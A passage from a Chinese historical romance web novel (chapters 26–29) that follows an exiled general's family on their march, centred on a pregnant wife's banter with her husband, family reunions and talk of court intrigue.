“真的,但暗中的人太多,过了这片林子,没有了遮挡,他们便应当不会再跟我见面了。”苏琯璋不知道妻子在想什么,只面色柔和地回答她。 “咳咳,”苏老夫人走了过来,身后跟着苏声和一群小孩子,“慕哥儿竞走输了,要找小婶婶安慰呢!” 又被人撞见亲昵之事,宣槿妤面色微红,推开苏琯璋,绕到后头安慰小侄子去了。 不多时,苏二婶便来唤人进殿歇息。 昨夜温暖的月色被眼前浓郁的苍绿替代。 “我们今日能走到最近的驿站吗?”宣槿妤问。 她仍是趴在苏琯璋背上,王虎昨日的冷脸和今日的黑脸交织着在她眼前掠过。很快,脑中便只剩下昨夜这男人难得的促狭样。 再想起他阴阳怪气内涵狗皇帝的那些话,宣槿妤险些笑出声来,忙将脸往男人脖间藏了藏。 苏琯璋察觉到背上微微的震动,脸上也露了笑,“出了这片山林,路就好走多了,当是能到的。”他回。 宣槿妤“嗯”了一声,让他专心走路。 眼前的山野翠绿在不断变换着,身前身后偶有朗笑声传来,是不长眼的兔子撞到行路中的人,当了他们无聊路途中难得的消遣。 走走歇歇,时间竟也很快过去。 午膳时,方才的消遣成了美食。 宣槿妤也尝到了烤兔肉,鲜美肥嫩,滋味极佳,惹得她多吃了一点。 再起身时,她便不肯趴在苏琯璋身上了,怕吐出来,实在吃得多了些。 她红着一张脸,坚持要自己走。 “好,我扶着你,小心脚下。”苏琯璋了解她的食量,知道她吃撑了,也没笑话她,只答应下来。 今日路虽说没比昨日好走多少,但好歹不会偶尔一踩一个泥坑了。 天晴,路上的积水都被晒干了,他们便只需要小心莫踩进浅坑里便行。 宣槿妤小心谨慎地绕过浅坑,走了约莫一刻钟,肚腹便也好受了不少。 再过得一刻钟,苏琯璋来背她,她便也顺从地趴上了他宽厚的背。府医叮嘱过她,每日走的时间须得控制在半个时辰以内,为着孩子,她也不敢再走了。 半下午时分,他们终于走出了这片绵延的山林。 这一日,他们终于住上了驿站。 终于能好好擦洗一番了。 她还好,其余人都在荒野草丛中踩了一天,身上不是草籽就是草汁,一不留神衣裳还被勾破了,须得好好洗洗,再做下缝补。 流放第三日,苏琯璋的三个哥哥追了上来。 他们是急行军,当日苏二叔失踪的消息一传出来,便被藏于军中的几名禁军压着从漠北出发,一路往燕京城方向疾行。 不过还未至燕京城,便收到陛下旨意,道是苏家人已经被流放,不必入京,直接转道前往广虚府即可。 于是一行人不作停留,从才抵达的佟城一路匆匆追了上来。 孩子们终于见到了几个月不见的父亲,一个个欢喜得不行,黏在父亲身边不愿意离开。 一家子缓过了重逢时的喜悦,便开始叙旧。 此时已经快到晌午时分,陈阳带着官兵们到附近的山里打鱼捕猎去了,很是识趣地将空间留给了一行人。 就连王虎,也带着禁军们退到了远处,捡着柴火,并另寻了一处空地烧火做饭,并不打扰他们。 苏家人分作几处,每 个小家都有自己的贴心话要讲。 只苏二婶落寞地跟在苏老夫人身旁,一言不发地替她捏着腿。 苏老夫人将手搭上小儿媳正为她捏腿的手,满脸怜爱地安慰着,“别担心,老二会没事的,他出征前我替他求过签,说是他命大。” 苏二婶停下手中揉按的动作,抬头看婆母。 苏老夫人将她拉到身旁坐下,“你看文小子和武小子,他们多沉得住气。”她指了指苏琯文和苏琯武这对双胞胎兄弟。 苏二婶下意识找寻两个儿子的身影,很快便欣慰地看到他们两家人皆是一副和乐融融的模样。 她轻叹,觉得自己是不如两个儿子,甚至不如两个儿媳妇。 两个儿子,他们的父亲刚失踪,他们便被安上了个“通敌叛国”的罪名,一路被押着回京。 不仅担心杳无踪迹的父亲,还要担心家中被牵连的祖母、母亲和妻儿,这一路可难熬。 而两个儿媳妇,自大伯苏国公接到丈夫出事的传信,想放她们归家,却被拒绝了。 她们舍不得丈夫,更舍不得孩子。硬是陪着他们在刑部死牢里熬了大半个月,如今又随他们流放。这一路都不见她们有什么抱怨,照常照顾着孩子们。 “会好起来的。”苏二婶紧紧握住婆母的手,目光逐渐变得坚毅。 第26章 第26章谁让你这样哄人了? 大房这边。 苏声、许玉娘只对坐着,含笑看着长子苏琯煜一家团聚。 苏琯煜不负他苏国公府世子的身份,自幼性子便沉稳有度。但他和弟弟苏琯璋不同,他很爱笑,又兼容颜俊美,在漠北百姓中有着“玉面将军”的雅称。 这大半个月的急行军,一路奔波并未折损他的容颜。 此时许萱娘正看着小半年未见的表兄夫君。便是成亲将将十年,她仍是轻易地被他吸引,忍不住耳垂微红,脸上的笑也一直没下来过。 不过,自最初苏琯煜追上他们之后给她的一个拥抱之外,她也还未能沾得他的身,只跪坐在他对面,看着他哄孩子。 苏琯煜也只是匆匆从妻子面上掠过,还未解得相思之苦,便被孩子们一声声的“爹爹看我”缠住了。 毕竟启哥儿和彤姐儿两个孩子再是乖巧懂事,也不过是才几岁大的孩子,在父亲面前自是维持不住早前的沉稳样儿。 此时两个孩子,一左一右占了父亲的怀抱,两双充满思念和依赖的眸子看着他,让视线偶尔飘过去的宣槿妤不禁抚上自己的小腹。 她很快也要有自己的孩子了。 苏琯璋留意到她的视线,“三位兄长来了,往后嫂嫂们照顾孩子们也会轻松许多。” 孩子们脚程慢,也容易累。 虽说他们精力旺盛,玩闹起来时能将一个普通成年男子心神尽数消磨殆尽。但他们毕竟年纪还小比不得成人,一旦累了便再提不起精神来。 他需要一直照看有孕的宣槿妤无暇顾及孩子们,母亲和二婶又要时刻留意着祖母,只父亲偶尔会给三位嫂嫂搭把手。 但七个孩子,只四个大人看着,也是顾及不来。 这两日他见着孩子们,尤其最小的慕哥儿、龙凤胎桓哥儿与雯姐儿都累得不轻,晚间等不及用晚膳便睡着了。 可让大人们心疼得不行。 宣槿妤不禁想起今晨慕哥儿苦着一张小脸,跟她诉说他半夜饿醒找娘亲要吃食的委屈来。 她移开了视线,很快看到此时一脸兴奋地骑在四堂兄苏琯武脖子上的慕哥儿,他嘴里还嚷嚷着让父亲再将他举高一点。 她脸上含了点笑意。 “我们还有多久能走到余安府?”她问苏琯璋。 “照今日的行走速度,还得十余日。”苏琯璋答。 竟还要这么久? 宣槿妤惊讶地瞪大了眼睛。 她记得三哥哥宣文晟曾告诉过她,从城西坐马车出发到余安府,日夜兼程,也不过是一日的路程。 即便他们脚程慢了些,也不至于要走半个月吧? 而且,他们虽是从城南出发的,但需要绕这么远的路么? “陈副尉求稳,并不按照普通百姓日常赶路的方式来让我们行走。”苏琯璋解释道。 他靠近宣槿妤,低声道:“他采用的是大军行军的方式。你看我们这一路都在沿着水源走,前方还有官兵开路放哨。” 他这样显得神秘兮兮的。 这话不能被旁人听见吗?可她没发现有旁人在窥视他们。 还是说,暗中的人跟紧还跑到他们近处来了? 宣槿妤被他弄得紧张兮兮的,身子不由贴近他。 苏琯璋面上仍是一贯的清淡模样,但此时眼里却含了笑。 不过宣槿妤一心留意着四周,并未发现。 然后便听得他继续压低了声音,“至于我们,你就当成辎重车队,走不快是正常的。” 苏琯璋说得十分简单,通俗易懂到对于军事一知半解的宣槿妤一听就懂了。 宣槿妤狐疑地盯着面前的男人,“这有什么不能被旁人听见的吗?” 他们是辎重车队,换个不好听的说法就是他们是整个队伍的拖累,所以才走不快。 这她很是清楚,被当成负累她也没什么不满与不快的,毕竟这是事实。她素来心胸宽阔,且有自知之明,不会为这种事着恼。 苏琯璋微微颔首,和她黑白分明的明亮眸子对上,丝毫不见心虚,“孩子们虽小,但有了自己的判断;尤其启哥儿也已经在学兵法,他们听到了会难过的。” 好哇,在这儿等着她呢! 宣槿妤伸手掐他腰间软肉,“我听到就不会难过了么?” 臭男人! 平日里不会哄她就算了,居然还拿她寻开心。 亏得她轻易地就上了当。 苏琯璋明面上瞧着是清雅君子,但内里是个粗莽武夫,皮糙肉厚的,对腰间这点痛并不放在心上。 但他思及那日宣槿妤恼了之后背对着他的模样,忽地有点慌,但到底不会哄人,只任由她掐着。 憋了许久,见宣槿妤没有松手的迹象,便配合着“嘶”了一声,“槿妤,我错了。” 宣槿妤惊得松开了手。 这男人这几日是见鬼了? 她伸手去探他的额头,“你发烧烧坏脑子了?” 在力气这一道上她是藏了个秘密,但她用了几分力气自己清楚,且她寻常不会展露出那个秘密的。 手下感觉温凉,是被山间凉风吹过后的清爽。 没有发烧。 “说实话,苏琯璋,你这几日是不是撞邪了?”可分明这男人瞧着和往日并无二样,还激不起她的害怕情绪来。 苏琯璋憋了半天才想出来的哄人招数,却被这样质疑。他将宣槿妤的手拉下来,亲了亲,“你不是让我多哄哄你?” 素日里他不知什么时候招惹了她的时候,她便闹着要和离,问原因,说是他不会哄人,是块木头。她不想跟一块木头桩子过日子。 宣槿妤还未来得及为他青天白日里便这样当着家人的面和她亲昵而感到羞赧,便被他直白的话弄得哭笑不得。 心里的一点羞意都没有了,剩下的是恼羞成怒。 顾忌着不远处的家人,宣槿妤压低了声音。她不想当着这么多人的面骂人,显得她像个泼妇。 “谁让你这样哄人了?”宣槿妤指责他,“平日里是块木头,现在是根滑木头。不是你捉弄我,我会生气么?你管这叫哄我?” 她快要气死了。 这臭男人!不开窍还好,她顶多骂他两句。如今算开窍么?他开哪门子的窍? “你就是专门来气我的。”她恨恨地又掐了他一把。 他苏琯璋真是她宣槿妤命里最大的克星! 弄巧成拙,这下苏琯璋再不敢想什么招数,也一声不敢吭,只老老实实地任她发泄怒气。 等宣槿妤发泄够了,苏琯璋顾不得自己应该青紫一片的腰际,只替她揉了揉手。 “抱歉,”他认认真真地道歉,“我好像总是在惹你生气。” 他道歉了诶! 宣槿妤心里残余的那一丝丝气便也消散了,虽心里原谅了他,但嘴上是不肯承认的。 “你知道就好。”她说。 嫁了这个人,她平日里藏在良好教养下的鲜活总要被他激出来。 幸得京中一众贵女不知晓她心里的想法,否则定要质疑她的“良好教养”。 苏家出事那日上午,武安侯府宴席上,宣槿妤当着京中一众贵人的面掀桌骂人的事还没过去多久呢! 而且,还说什么“鲜活”,不就是娇纵蛮横么? 打闹过,见宣槿妤消了气,苏琯璋终于正经地给人解释了缘由。 “我并没有在骗你。”苏琯璋说,“陈副尉确实是在按大军行军的方式来带队。”将他们一家人当成“辎重”也并无不可。 他方才除了存了逗她的心思,别的可没有诓骗她,说的句句皆是实话。 宣槿妤娇娇地“哼”了一声,让他继续说。 “我们在走的路线不是常走的官道,且人迹罕至,路上高山密林、土坡河溪皆不少,行走并不易。十余日已经是保守估计的结果。” 这也是为何他说兄长们来了,嫂嫂们会轻松很多的主要原因。 孩子们还小,遇到难行的路怕是走不过去,得要大人抱着或背着过去。 至于马车能不能通行,那便是陈阳和王虎要考虑的事。 时隔两日,宣槿妤终于又有了被流放的实感。 若不听这人说往后路如此难行,就她这几日不是被他背就是被她抱的待遇,除了吃食和夜间留宿简陋了些,她还能当他们是在游山玩水,毕竟她过得比苏琯璋给她淘来的游记上的旅人过得还好。 至于时刻紧跟着他们的兵部官兵们和禁军侍卫们,将他们当成护卫,她心里的抵触便小了很多。 不过,她此时心里还有一个疑惑。 “为何不从城西出发?”宣槿妤问他,“我记得有史书记载,被流放广虚府的人走的是城西往南那条路。” 而不是像现下他们走的这条路,除了偶尔能见到一个简陋的驿站,三日来连个行人、本地百姓都见不着。 “我也只是猜测,跟那道圣旨有关。”苏琯璋这回又压低了声音,只提前攥住宣槿妤双手,不让她再有机会掐自己。 这人说话归说话,怎么还动手动脚的?宣槿妤不乐意了,他若不存心逗弄她,她又不会掐人。 “放手。”她瞪着苏琯璋。 苏琯璋笑,眉目飞扬,素日里玉雕似的人,一笑起来,便好似玉雕活了过来似的。 “不放。”他说。 第27章 第27章非礼勿视 宣槿妤被他笑得有些脸热,嘟哝着,“不放就不放。” 不想被这男人看出她被他蛊惑了,忙催他,“你还没说完。”她挠了挠他的掌心。 十指紧扣,苏琯璋摩挲着她白皙细嫩的手背,附在她耳边,温热的吐息灼烫了宣槿妤的脸。 “我猜,兵部岳尚书看出了那道圣旨的疏漏。怕陛下恼羞成怒,便提前选了条艰难的路线,如此暴露后好歹也能让他消消火。” “而且,岳尚书是苏家旧部,他这样做也是为了不让新帝猜忌。” 否则,当日在刑部大门,兵部尚书岳丰和刑部尚书梁方方便不会有那样一番对峙与对话。 官场待久了,再是正直无私的人,也或多或少会一点自保之术。 这无关对错,人之常情而已。 而且,他还隐隐有个猜想…… 岳丰既是苏家旧部,若运作得当,在新帝心里,他会不会是执掌苏家军的最好人选? 梁尚书那么及时地入宫,王虎及一众禁军赶在出发前拦住他们,并收走马匹。 这些,都是巧合么? 他在大理寺待了三年,经手的卷宗无数,亲手经办的案件也无数。 直觉与理智都在告诉他,这些有九分的可能不是巧合。剩余的一分,赌的便是岳尚书对他的前上峰有几分敬重;忠君和忠军,哪个在他心里更重要了。 苏琯璋垂眸,视线和宣槿妤对上。 不过这一点,就没必要告诉她了。 “害怕了么?”苏琯璋空着的另一只手抚上她的面颊。 他看得出,此时宣槿妤的面色在微微发白,看着他的目光里带了一丝颤动。 “不怕。” 只是她被家人保护得太好,乍然听闻皇权与朝臣之间的博弈有一点吃惊,就一点点而已。 “如此说来,我们就是他们的棋子么?”她小声地问。 苏琯璋意外她竟能想到这层,又是欣慰又是心疼,她素来不爱动脑子,有事便凭直觉,反正吃亏的不会是她。 想不到才多久,她也能如此快地领悟这些她以前从不会去想的事情。 “是。”苏琯璋没有敷衍她,给了她正面回应,这是以往他不会做的。 他只会像宣家和林家两家人那样,将她护在羽翼之下,让她不必经受风雨,不必成长,他们也能护她一辈子。 他第一次意识到,原来她可能不会想要他们那样做。 “但最差的结果也就是我们现在这样,走一条比正常的流放之路更难走的路。”苏琯璋手仍放在她面上,在她眼睑下方摩挲片刻,将她揽入怀中。 “但别怕,我会一直在你身边。”他保证。 宣槿妤点了点头,不再去想他们身在棋盘,被人当作棋子用来博弈之事。 想也无用。 他们已经在流放之路上,跳出了棋盘,再无人能奈何他们。 她将这些和苏琯璋说了,得到了他在她唇上克制的亲吻,和一句称赞,“不错。” 宣槿妤翘起唇。 “不过,眼下最难的还是你。”苏琯璋心疼道,“你这时候有了身孕,往后还要吃不少苦头。” 他的声音闷闷的,好似还带了一点哽咽。 宣槿妤从他怀里探出头,看他,果真见他眼尾微微泛红,不由怔住。 他甚少在她面前露出这样脆弱的一面。 是在心疼她么? 他心里也是有她的么? “那你要照顾好我。”想着,宣槿妤不禁对面前的男人说道,声音发软。 苏琯璋微微颔首,亲了亲她的额头。 温存片刻。 “我看看你的腰。”宣槿妤终于想起方才这人逗弄她,惹得她掐着他腰际不放的事。 她对自己的气力心中有数,见苏琯璋解了束缚的腰带、微微撩起的衣摆下果真青紫一片,难得的有些心虚,但很快又理直气壮起来。 本就是他惹她生气的,他活该受罚。 她不去想她是因为嫁了他才受的这些流放之苦。她想的是,她还怀着孩子,他身为她的夫君和孩子的父亲,就得照看好她。 “好了,你快收拾好衣服。”宣槿妤催他。 眼下也不是上药的时候,青天白日的,众目睽睽之下,他衣裳不整就算了,可别让人想到她身上。 再说,就这点青紫,过几天就散了,上什么药?! 苏琯璋看着变脸比变戏法还快的妻子,习以为常地笑了笑,“你替我遮着点,别让人看到了。” 这话说的,像是他们夫妻在做什么见不得人的事似的。 宣槿妤脸又热了起来,忙侧过身子,只留给他明媚泛粉的侧脸。 她慌慌张张地朝四周看了一眼,用手作扇,朝脸上扇了几下,企图让脸上的热度快速降下来。 苏琯璋很快将衣裳整理好,“放心,没人看咱们。”方才他只是在逗她而已。 桃色流言伤人,他不会让那些与她沾上关系。 闻言,宣槿妤松了口气,犹不放心地再次扫视一圈,才彻底放下心来。 幸好祖母、公爹婆母、二婶、哥嫂和孩子们都没有朝他们二人看来,远处的官兵和禁卫们也都各忙各的,眼神都不往这个方向瞟一眼。 不然她就丢脸丢到家了。 “都怪你。”她嗔道。 “嗯,都怪我。”苏琯璋答,脸上一贯的清冷不知何时已经散了,取而代之的是不容忽视的温柔。 宣槿妤脸上才 要散去的热度再次升了起来,她将脸埋在膝盖上,不让他看到她此时害羞的模样。 “就是怪你。”她小声道,闷在膝上的声音却怎么也掩盖不住其中的欢愉- 先前奉了新帝的命隐瞒身份藏在苏家军的五名禁军,此时也正和王虎及一众禁军们在一处捡拾柴火。 五名禁军的头领姓李,名晓明。当时他押送苏琯煜等三名少将军追上浩浩荡荡百余人的流放队伍时,一眼便瞧到了一个熟人。 熟人正是王虎。 王虎当时见到三年未见的李晓明,也呆了一瞬。 他们二人出自同乡,同一批进入禁军的侍卫,同一年升的百户;三年前新帝登基时各奔前程,不想再见时,二人又双双升了千户。 “可真是缘分。”王虎感慨道。 李晓明点了点头。 王虎问他,语气有些犹豫,“那你,是不是要回禁军了?” 他现在已经明白了李晓明这三年的去处和处境。 李晓明在苏家军中藏了三年,苏将军失踪时又亮明禁军身份将阵前的三位少将军拿下,定是回不去漠北了。 李晓明苦笑,又点了点头。 王虎只是面相憨厚了些,人却并不憨,反而有些精明。 一起在战场上拼杀出来的兄弟情谊,是最纯粹的感情。一朝阵前反叛,李晓明又抓了苏家军最为尊敬的苏家人,想来军中的情谊也都耗尽了。 他能想象得到李晓明的心结,趁着四下无人,便宽慰他,“你也只是忠于陛下旨意,莫要过多为难自己。” 提到这个,李晓明终于开口。 “你也是。” 王虎沉默。 他领了差事才三日,便已是处处为难。 那日苏琯璋点出他的处境,他也才意识到,他也是行走在悬崖上的人,稍有不慎,便会粉身碎骨。 苏家人至少还有人保。 而他,一旦被苏家人退回京城,或者被暗中的眼睛找到什么把柄,很容易就遭来杀身之祸。 人命,在皇权倾轧之下根本不值得一提。 李晓明也不需要王虎回应,自顾自地说着,“若非三位少将军相护,主动配合我等回京,只怕我也不能站在这儿和你叙旧。” 不然,莫说完成皇命,他只怕不能活着离开漠北。 他想起他当时亮明身份后昔日同袍眼中的惊痛与憎恨,喧哗声中,若非三位少将军阻止,那些曾和他并肩作战的将士们简直要将他活剥了。 “用完饭我就得回京复命了,接下来都交给你了。”李晓明拍了拍王虎的肩,“你也待他们客气些。” 曾经也是同一个屋子睡过来的情谊,李晓明多少了解几分这位旧友的性情。 “他们如今愿意配合受这流刑之苦,并不代表他们没有能力反抗。”李晓明将声音压得极低,“真将他们惹怒了,跑了,你这千户也就做到头了。” 说不定命也都要交代在这里。 战场上走一遭,才会晓得性命有多珍贵。 “你用眼睛去看,苏家有没有罪,不管圣旨上有没有写,你都自己去看。”李晓明说得十分直白,就差没说苏家无罪了。 他在军中三年,是新帝一登基就遣到军中的人。 在苏家军待了这般久,不说平日里在军营里操练的时光,但就和漠北开战的这小半年,他便不会相信苏家会通敌叛国。 王虎被他这样直白的话惊出一身冷汗,忙四处观察一番,见无人窥视才松了口气。 “你好好想想,我先出去了。”李晓明拍了拍他的肩膀,轻轻松松抱着大捆柴火,走了出去。 等王虎平复好心情从密林里钻出来,其余人也忙活得差不多了。 打猎小队还未回来,但捕鱼小队已经提了满满一桶鱼虾,几个人正蹲在河边清洗。 他观察了一番周围,暗处的眼线消匿了踪迹,不知是离远吃饭去了还是换了一拨武功更强不会被他察觉的。 苏家几个少将军都陪着孩子们在玩儿,女眷们也生起了火。 而另一边,王虎视线顿了顿,非礼勿视,很快转过头去。 第28章 第28章抓周给自己抓了个小夫君…… 一个上午没吃东西,宣槿妤早就饿了,苏琯璋正喂她吃着才烤热的包子。 这包子还是他大哥苏琯煜早晨在盛京城外买的,还剩了几个没动;得知弟妹有了身孕,知晓孕妇最是不能挨饿,便都给了他。 “我不吃了。”宣槿妤吃了大半个包子,察觉不到腹中饥饿,便推开苏琯璋的手。 包子是肉馅的,不知是否是昨日吃烤兔肉吃多了,她还不想再吃肉。 就连包子,她吃的也是暄软的包子皮,肉馅只咬了一口,油腻腻的滋味顿时让她泛起恶心来,顿时胃口尽失。 苏琯璋将她没吃完的肉馅塞进嘴里,三两口吞下肚。再打湿了帕子替她擦了脸和手,最后粗粗擦了擦自己沾了些许油的手。 宣槿妤已经没有方才那样好的心思和他玩闹,此时恹恹地靠在他身上,不想说话。 这是怎么了? 苏琯璋摸了摸她的手心,感受到温热的体温,再替她把了回脉,微微放下了心,不是生病了就好。 “可是热着了?”他问。他们虽然尽量走在树荫下,但方才日头有点大,怕是晒着她了。 她都在树荫下坐了多久了?还热? 放平时,宣槿妤就要给他一个白眼。 不过此时她蔫蔫的,只觉着胃里在翻腾,虽没有回答他,但还是冲他摇了摇头。 “害喜了?”他问。 苏琯璋将她斜抱到怀里,替她揉着手上的穴位,不时观察着她的脸色。 山风清爽,不一会儿便带走了方才那个包子的油腻之气,宣槿妤深吸了口气,脸色总算好了一点。 苏琯璋继续轻轻地替她按揉着太阳穴,“如果不舒服,一定跟我说。”他有些心疼,她这样多半是在害喜,但他却没办法替她难受。 “可是被包子肉馅腻着了?”他又问。 宣槿妤这回终于点了头。 “怪我,不该给你吃肉包子。” 苏琯璋有些自责,想起方才她连一个包子都没吃完,定是没饱,于是他又开口。 “待会我给你煮个鱼汤,你多少再吃点,好不好?” 宣槿妤缓了一点,脸色也好了些许,闻言看他,“你还会煮鱼汤?” “大军返程时不急着赶路,有时候经过河流,不想吃烤鱼的时候也会煮个汤。”苏琯璋拿出随身的小罐子,取出一颗酸梅塞进她嘴里。 他虽是少将军,但也只是在战场上指挥打仗的时候会发号司令,其余时候他并不会搞特权。 这种单独的吃食他并不想劳烦火头军,便学着自己动手。 次数多了,火候他已经可以掌握得很好。 宣槿妤嘴里含着酸梅,又被他按揉着身上穴位,那股冲上来的恶心感很快便消失了。 “那我要喝。”她说。 苏琯璋摸了摸她的头。 等到宣槿妤说好了,他又换回手上的穴位,不轻不重地替她按揉了一会儿。 这才起身,“我去煮鱼汤。来,去母亲那里坐会儿,嗯?” 宣槿妤应了,任他半扶半抱地揽着站了起来。 另一头,苏琯煜已经和妻子儿女说完了话。两个孩子也和父亲玩够了,便放他自由。 许萱娘去找两个妯娌一起生火做饭去了,苏琯煜便起身来找父母。 恰这时,苏琯璋带着宣槿妤也来了。 几人简单打过招呼,苏琯璋便朝着嫂嫂们走过去,接过了小半桶鱼,准备熬鱼汤用。 许萱娘、常湄言和丁茜茜三位嫂子盯着小叔子熟练而自然地开锅煎鱼、熬汤的动作,不由得互相挤眉弄眼,偷偷撇开脸笑了。 除了厨子,她们还是第一回见到于庖厨一道上如此熟练的男子,且这男子还是自家小叔子。 “小弟这鱼汤看着不错。”见苏琯璋敏锐地抬眼望过来,许萱娘忙收拾好神情,夸赞道。 常湄言和丁茜茜也连连点头。 “槿 妤怀着身子不易,小弟你身为夫君可要多体贴些。”丁茜茜道。 常湄言点头,促狭道:“我这里有好几道家常菜的方子,最是适合有孕的妇人吃的。小弟你要不要学,好做给槿妤吃?” 常湄言嫁了苏家双胞胎中的哥哥苏琯文,自己也生了对龙凤胎,怀孕的时候可艰难。婆母和家中心疼她,特意找来不少合适她的方子,她都记下了。 这事苏琯璋听三哥苏琯文提过一嘴,闻言便颔首,“那就多谢三嫂了。” 三位嫂嫂眉眼皆是一亮。 常湄言忍着笑,“刚好今日有不少新鲜的鱼虾,我来说,小弟你来做。” 苏琯璋被三位嫂子笑得有些不自在,但他面上仍是那副清冷淡然的模样。“如此,便有劳三嫂了。” 丁茜茜:“我来烧火。” 许萱娘:“我来给你打下手。” 三位嫂嫂既偷了闲,又能欣赏素来清冷自若不善言辞的小叔子举着锅铲烹饪的模样,可都各个乐不可支。 这边,许玉娘让宣槿妤坐在自己身边,温柔地握住她的手,看着她稍显苍白的面色,“可是又害喜了?” 公爹和大伯子都在,宣槿妤心里微窘,朝婆母笑了笑,“已经没事了。” “这孩子还算乖巧,不怎么折腾你。”许玉娘道,抬头看苏琯煜,“不像当年我怀你们大哥的时候,整日里吐个没完。” “出来之后也是个闹腾的,折腾得奶娘嬷嬷们没个好觉。”许玉娘毫不避讳地在小儿媳面前揭大儿子的老底。 “没成想,长大了却成了这副模样。”许玉娘撇了撇嘴。爱笑有什么用?骨子里还不是一副老学究模样? 她养了两个儿子,却没一个和她贴心的,还是女儿好。 “才三岁,我要亲亲他,都不许。” 许玉娘抱怨,“不知从哪里学来的歪理,说是小男子汉不能被娘亲亲脸,只有以后的媳妇儿才能亲。” 宣槿妤差点绷不住面色,好悬忍住了。 偷偷觑了一眼大伯子,见他已经收了脸上常挂着的笑,一副尴尬的样子,便收回了目光,继续静静地听着婆母说话。 坐在许玉娘另一侧的苏声摸了摸自己的鼻子。 如今长孙都八岁了,他年轻时候拈的酸吃的醋还总会酸到自己。 幸好妻子到如今都不曾怀疑到他头上。 许玉娘谈兴大起,完全没留意到丈夫的异样,只一心和小儿媳说话。 “你这胎啊,我盼着是个贴心的哥儿或姐儿。别学他/她父亲那样,整日里板着个脸,像你这样就很不错。” 槿妤多鲜活啊!想笑就笑,想哭就哭。 性子娇点就娇点,这样夫妻二人膝下就热热闹闹的,说不准还能增进夫妻感情。 “我也盼着像我。”宣槿妤微微点头。 若是像了苏琯璋那木头桩子,父子俩就罢了,她可以两个一起骂。但若是父女俩,香香软软的女儿若是像她父亲,她晚上做梦都会哭的。 话题说着说着又到了养胎育儿的心得上,这时许玉娘就少不了揭孩子们的老底。 许玉娘:“要说好玩儿,还是刚学说话的时候。” 她笑,“你们大哥开始学说话没多久,一日学了个‘七’字,一张口就说‘七七七’的。我就笑他,是不是想要媳妇儿了。” 许玉娘想着当年的事情,笑出了眼泪,就连苏声眉眼间也俱是笑意。 “然后煜小子说,‘是是是’,可逗得一屋子的人都在笑。” 宣槿妤脸上也有了些许笑模样。 “我问他,“妻妻妻”在哪里?刚好你们舅母那时候来看我,他就指着你们舅母的肚子说‘妻’在这儿。” “果真是天赐的缘分,你们舅母回去没多久就诊出了喜脉。” 大哥大嫂之间原来还有这样的趣事。 宣槿妤用手挡住脸,只露出含笑的双眸。 “还不止,”许玉娘擦了擦笑出来的眼泪,“你们大嫂抓周的时候,本是抓了一柄竹剑的。结果你们大哥眼馋那竹剑,自己趁着大人没注意去拿了。” “大人还没来得及去拦,他已经抢了小表妹的小竹剑。” 竟还有这样的事! 宣槿妤看着如今剑眉星目的稳重世子将军,一时很难将他和婆母口中那个会和自己表妹抢抓周礼的淘气小娃娃联系起来。 “萱姐儿见抢不过小表哥,就抱住他的手不放,想让大人帮忙拿回自己的抓周礼。”许玉娘陷入了回忆,不知不觉中改了对许萱娘的称呼。 “结果大人们都在笑,说她抓周给自己抓了个小夫君。” “当时只是玩笑话,没成想这两个孩子长大之后竟真的成了一家人。” “大哥大嫂也是天定的缘分。”宣槿妤终于开口,用了婆母方才的话。 许玉娘点头,“谁说不是呢?不然就他两岁就抢了自己小表妹抓周礼这样的事,京中还有哪个体面人家愿意将自家姑娘嫁给他。” 大盛虽将小儿的抓周礼看得很重,视为人生中第一个大礼,不容出差错;但才两岁的孩子拿了感兴趣的竹剑,并非有意破坏小表妹的抓周礼。 说出去虽然不好听,但大家总会理解孩子还小,不懂事的。 哪有这么严重。 宣槿妤失笑,但她也看得出婆母是在埋汰大伯子,便识趣地不去点破。 第29章 第29章你小婶婶心疼你小叔叔呢…… “幸好大家当时将事情圆过去了。”许玉娘说,“萱姐儿抓周给自己抓了个小夫君,说出去总比萱姐儿小表哥抢了她的抓周礼好听。” 毕竟前者是小儿女之间的缘分,茶余饭后也能当一桩趣事来谈。 苏琯煜面色发窘,母亲一口一个“抢了抓周礼”,好似他做了什么十恶不赦的事情似的。 母亲在萱娘面前说说也就罢了,毕竟萱娘是当事人,还是他的表妹兼妻子。 但宣槿妤是他弟妹,又是在那样家中娇宠出来的姑娘。不会真将母亲的玩笑话听入耳中,日后想起来,嫌弃他之余,再去嫌弃他小弟吧? 小夫妻俩感情不易,还是莫再给二人平添嫌隙了。 瞧着弟妹也有点不知该怎么接话的样子,苏琯煜决定转移话题。 “母亲,我在佟城见到了妹妹,她很担心您。”苏琯煜对许玉娘说道。 许玉娘生了三个孩子,长子苏琯煜,幼子苏琯璋,中间的生的是个女儿,取名为苏琯绵。 苏琯绵性子和她的名字一般绵软,内里却十分坚韧,毕竟出身武将世家,自己又自幼习武。 宣槿妤嫁到苏家后,逢年过节时和这位已经嫁了人的二姐也相处过不短的时日,二人关系也十分不错。 闻言,她先看了一眼大伯子苏琯煜,再去看婆母许玉娘。 许玉娘果真被长子的话吸引住了,只还握着宣槿妤的手不放,有一下没一下地替她按揉着几个穴位。 婆媳二人对视一眼,默契地收住了方才的话题,齐齐朝苏琯煜投去目光。 “妹妹想跟着我们一起过来,但我没让。”苏琯煜继续说道,“妹夫、外甥们和外甥女我也匆匆见了一面,他们都很好。” 苏琯绵及笄后被许给了苏声手下的武将王曳证,夫妻二人生了两子一女,日子过得很是和美。 一年前王曳证被派往佟城驻军,苏琯绵带着孩子们也跟着去了。 苏家出事时新帝盛誉并未想起远在佟城的苏琯绵,刑部梁方方想着罪不及出嫁女,又见陛下没有特意提及,便也没有过多动作。 是以苏家之事并未波及到苏琯绵。 “还好你拦了她,”许玉娘还未说话,苏声已经开口,“陛下既没有想起她,便在佟 城好好和女婿孩子们待着就是。哪有上赶着蹭流刑的?” “简直胡闹。”他轻斥。 许玉娘轻轻拍了拍明显动怒的丈夫,嗔道:“绵儿不过是担心我这个老母亲,你这个老父亲动什么气?她可没担心你。” “绵儿怎么会不担心我这个老父亲?夫人,你这话可要收回去。”苏声急了。 “那你说说,她既也在担心你这个老父亲,你方才生气给谁看?”许玉娘问他。 苏声虽是武将,却也是在世家熏陶出来的贵公子,举止并不粗俗。性子也称得上一句温和,平日里甚少动怒,和家中孙辈更是能说说笑笑,孩子们都不怕他。 不过女儿苏琯绵是他掌上明珠,一涉及到女儿,他便容易失了理智。 这也便是他和亲家公宣兆,两人一个武将、一名文臣,如此聊得来的重要原因之一。 被许玉娘一通抢白,苏声很快冷静下来。 “他们可有为难你们?”安抚好丈夫,许玉娘关切地问长子。 方才匆匆一叙,她还没来得及问详细的情况。 